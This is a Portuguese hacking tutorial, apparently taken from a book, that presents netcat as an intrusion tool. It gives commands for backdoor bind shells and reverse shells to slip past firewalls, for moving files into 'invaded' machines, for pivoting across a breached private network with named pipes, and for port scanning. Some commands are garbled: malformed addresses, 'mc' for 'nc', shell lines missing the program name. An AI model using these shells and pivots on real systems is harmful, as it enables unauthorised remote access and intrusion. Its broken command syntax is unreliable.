NetCat - (Outra
Técnica de Invasão)
Considerado o verdadeiro canivete suíço das redes, a ferramenta netcat pode ser usada em uma infinidade de situações. Foi desenvolvida inicialmente para Unix, em 1996, por um hacker autodenominado Hobbit e, em 1998, surgiu uma versão para Windows NT. Hoje você encontrará este programa neste endereço (http://www.vulnwatch.org/netcat), use a versão 1.11, pois vem com uma correção no parâmetro (-e). Uma outra versão alternativa, você encontrará neste endereço (http://net-cat.sourceforge.net)
Utilizaremos nossa rede de testes com duas máquinas. A primeira será chamada de A e terá o endereço 192.168.0.1, a segundaserá chamada de B, dona do endereço 192.168.0.2. Não importa o sistema operacional em uso. Em nossos exemplos, a máquina A rodará Windows e a B rodará Linux e o faremos apenas porque, do ponto de vista didático, o impacto visual é bacana. Instale a versão que lhe for mais interessante, a de Hobbit ou a GNU, tanto faz. Se tiver que compilar o netcat para seu sistema operacional, não esqueça de ativar a importante opção GAPING_SECURITY_HOLE. Uma vez compilado, o comando que chama o programa netcat será o nc.
O netcat é “pau pra toda obra”. Ele pode ser usado como programa-cliente para que possamos nos conectar a qualquer servidor e não utiliza nenhum protocolo de aplicação para a conexão. O aplicativo inicia uma conexão com um protocolo de transporte (TCP ou UDP) e permanece por lá, esperando. pode parecer inútil, mas é ustamente por isso que o netcat pode ser empregado em uma miríade de situações; por não usarprotocolonenhum, permite que o usuário manipule-o ao bel prazer.
Para executar o netcat como cliente e se conectar a um servidor, digitamos o seguinte comando:
nc endereço.do.servidor porta
O endereço do servidor pode ser um número IP ou um nome de domínio. Por exemplo, para nos conectar a um servidor de email POP3 (porta 110) do servidor do provedor Terra, em São Paulo, poderíamos digitar o seguinte comando:
nc pop.sao.terra.com.br 110
Como resultado, teríamos:
+OK trrpop3d (version 2.0.8 (with proxy)) at
ibadan.terra.com.br starting.
Esse comando indica que o netcat conectou-se ao servidor de emails. Poderíamos ir mais longe e tentar nos autenticar no servidor digitando (manualmente!) os comandos do protocolo POP3 e nossos dados de login:
nc
pop.sao.terra.com.br 110
+OK trrpop3d (version 2.0.8 (with
proxy)) at enugu.terra.com.br starting.
user xuxubeleza
+OK Password required for
xuxubeleza.
pass biluteteia
+OK
Os grifos em negrito (xuxubeleza e biluteteia) são marcas nossas. Veja que o netcat permitiu que nos conectássemos a um servidor qualquer, manipulando-o diretamente do teclado com os comandos do protocolo em uso (no caso, o POP3). Como ele mesmo não trata os protocolos, o netcat permite que o façamos com qualquer protocolo, desdeque saibamos como é estruturado. Tendo apenas o conhecimento desses detalhes, já podemos fazer do netcat nosso companheiro em auditorias de rede, sejam elas para o bem ou para o mal. No entanto, o que expuseremos até agora ainda é pouco perto do que podemos fazer. Também é possível aplicar essa ferramenta como servidor.
nc -l -p porta
Com esse comando, mandamos o netcat “escutar” (-l, do inglês listen) a rede, em outras palavras definir em qual porta nosso servidor vai escutar. Por exemplo, o comando abaixo cria um servidor que “escuta” a porta 5678.
nc -l -p 5678
Tudo o que entra por essa porta será ecoado na tela. Se emitirmos esse comando na máquina B e, depois, na A, usando o netcat para nos conectar ao nosso servidor, criamos um programa de bate-papo. Para que possamos identificar mais facilmente o computador emque devemos emitir os comandos, vamos atribuir um prompt diferente para cada máquina. A máquina A terá o prompt A:#, enquanto a máquina B será B:#. O prompt, obviamente, não deve ser digitado, é apenas um marcador para que saibamos em qual máquina digitar os comandos.
Portanto, temos, na máquina B:
B:# nc -l -p 5678
e, na máquina A:
A:#
nc 192.168.0.2 5678
Todo o processo foi estruturado com o protocolo TCP. Para o protocolo UDP, empregue a opção -u:
B:# nc -u -l -p 578
e
A:#
nc -u 192.168.0.2 5678
O resultado é que tudo o que for digitado na máquina B será ecoado na tela de A, e tudo o que for digitado em A será mostrado na tela B. Pode parecer pouco, mas acabamos de criar um canal não-convencional de comunicação pela rede; e um canal que pode transmitir qualquer coisa, não apenas caracteres. Podemos aplicar, por exemplo, os redirecionadores de entrada e saída para transferir arquivos de uma máquina a outra. Poderíamos usar o netcat para transferir o que quiséssemos para dentro da máquina invadida. Dessa forma, digitaríamos:
B:# nc -l -p 5678 > arquivo.recebido.txt
No servidor, utilizamos o redirecionamento de saída (>) para desviar os dados transferidos. Em vez de irem para a tela, os dados são gravados dentro de arquivo.recebido.txt. Para a ocasião, já temos um servidor armado e esperando o arquivo. Agora, só precisamos mandá-lo:
A:# nc 192.168.0.2 5678 < dados.a.enviar.txt
No netcat cliente, aplicamos o redirecionamento de entrada (<) para introduzir na conexão aberta pelo netcat o arquivo chamado dados.a.enviar.txt. O conteúdo desse arquivo será transferido pela rede e ascabará dentro de arquivo.recebido.txt, no outro computador. Quando o arquivo for totalmente transferido, a conexão é encerrada e os dois arquivos são fechados.
Observações: Qualquer tipo de arquivo (incluindo programas) pode ser transferido dessa maneira.
Com o arranjo mostrado, é necessário que o cliente conecte-se ao servidor para que possa transferir alguma coisa. No entanto, imagine que esse servidor esteja protegido por um firewall que não deixa nenhuma conexão entrar, apenas sair. Ora, nesse caso, é só inverter os redirecionamentos!
A máquina A, em vez de como cliente, nós rodaremos o netcat como servidor. Porém, será um servidor que envia dados; ele não recebe. Qando alguém se conectar ao servidor, receberá seus dados. Para tanto, o comando é:
A:# nc -l -p 4321 < dados.a.enviar.txt
Na máquina B (protegida pelo firewall), no lugar de montar um servidor com netcat, mostaremos um cliente. Esse cliente vai se conectar ao servidor em A e baixar o arquivo lá disponível:
B:# nc 192.168.0.1.4321 > arquivo.recebido.txt
Apenas com inversão de papéis e redirecionamentos, conseguimos driblar o firewall. Também podemos utilizar o netcat para criar um backdoor que nos dê uma linha de comando. Para tanto, basta deixá-lo como servidor escutando numa porta que o invasor conheça. Dessa forma, quando se conecta a essa porta, recebe uma linha de comando. Para isso, utilizamos a opção -e:
nc -l -p porta -e interpretador de comandos de sistema
Por exemplo, imaginem que o netcat esteja como backdoor no Windows XP ou Vista. O comando seria:
nc -l -p 65432 -e CMD.EXE
Se formos para outra máquina e rodarmos o netcat como cliente, nos conectando ao backdoor apresentado, teríamos o prompt desse Windows. Repare que, neste experimento, emitimos o comandocliente no Linux (máquina A), mas ganhamos um shell (ou seja, acesso a todos os comandos em modo DOS) do Windows (máquina B):
#
nc 192.168.0.2 65432
Microsoft Windows XP [versao
5.1.2600]
(C) Copyright 1985-2001 Microsoft
Corp.
C:\Arquivos
de Programas\Netcat>
Aqui, também é possível inverter a ordem das coisas e tentar driblar um firewall que não nos permite conexão. É só fazer a máquina B conectar-se para fora, levando, com ela, o shell. A máquina A, que roda um servidor “na escuta”, ao receber a conexão, vai mostrar o shell de B em sua tela. Em A, os comandos seriam:
# nc -l -p 55666
e, em B:
C:>
192.168.0.1. 55666 -e CMD.exe
DICA: Se a máquina que você quer controlar é um Unix/Linux, digite: /usr/sh no lugar de CMD.EXE
Exemplo:
C:>
192.168.0.1. 55666 -e /usr/sh
Assunto
Avançado
Digamos que você tenha invadido uma rede privada, com endereços do tipo 192.168.x.x. Uma das maneiras mais fáceis de transferir arquivos para dentro e para fora da rede é instalar um redirecionador no ponto de conexão com a Internet, o gateway. Em condições normais, o firewallinstalado no gateway impedirá às máquinas internas. Além disso, o próprio esquema de numeração das máquinas impede esse tipo de conexão da Internet. Para resolver o problema, podemos lançar mão de um artifício muito interessante, um arquivo chamado named pipe, que, na verdade, não é exatamente um arquivo, mas uma memória FIFO. A respeito dessas especificações, o que interessa é que podemos utilizá-lo para jogar a saída de um netcat na entrada de outro, fazendo uma ponte entre a rede interna e o exterior. Observe na Figura abaixo o exemplo de um redirecionamento com o netcat.
(Figura 1)
Para alcançar o mesmo resultado numa máquina Unix, é preciso, primeiramente, criar o named pipe:
mknod meu.named.pipe p
Depois, ele será usado para “comprimir” dois netcats:
nc
-l -p 7777 0<meu.named.pipe | nc 192.168.0.3 65432 1>meu.
named.pipe
Logo, a máquina B espera por uma conexão da porta 7777. Se essa conexão chegar, todos os dados são transferidospelo outro netcat para aporta 65432 da máquina 192.168.0.3, que também possui um netcat servidor “na escuta”. Extrapolando, imagine uma situação assim:
(Figura 2)
Podemos improvisar um scanner de rede com o netcat. Para tanto, digite o comando:
mc -vv -z -w 10 192.168.0.2 1-1024
O nc mostra várias informações na tela (opção -vv), ativa o modo de zero-I/O (opção -z) e aguarda dez segundos em cada porta escaneada (-w 10). Logo depois, as portas que serão varridas (1 a 1024). Para varrer portas UDP (o padrão é TCP), use a opção -u:
nc -u -vv -z -w 10 192.168.0.2
1-1024
Para algum teste mais específico, é possível suprimir a opção -z, ecoando alguns caracteres para o netcat; e, por conseguinte, para as portas que estão sendo varridas:
echo USER | nc -vv -w 10 192.168.0.2 1-1024
A conexão do netcat é a mais aberta possível. Nada é escondido, ofuscado ou criptografado. Para os paranóicos, recomendamos o Criptcat, com a mesma sintaxe do netcat, mas com uma camada de criptografia que protege a conexão de olhos curiosos. O Criptcat pode ser encontrado em http://farm9.org/Cryptcat/.
___________________________________________________________________
Bigrafia
Tirado do Livro: Hackademia 2.0 - Conheça as Táticas do Universo H3ck3r.
Escrito por Henrique Cesar Ulbrich, autor do best-seller UNIVERSIDADE H4CK3R.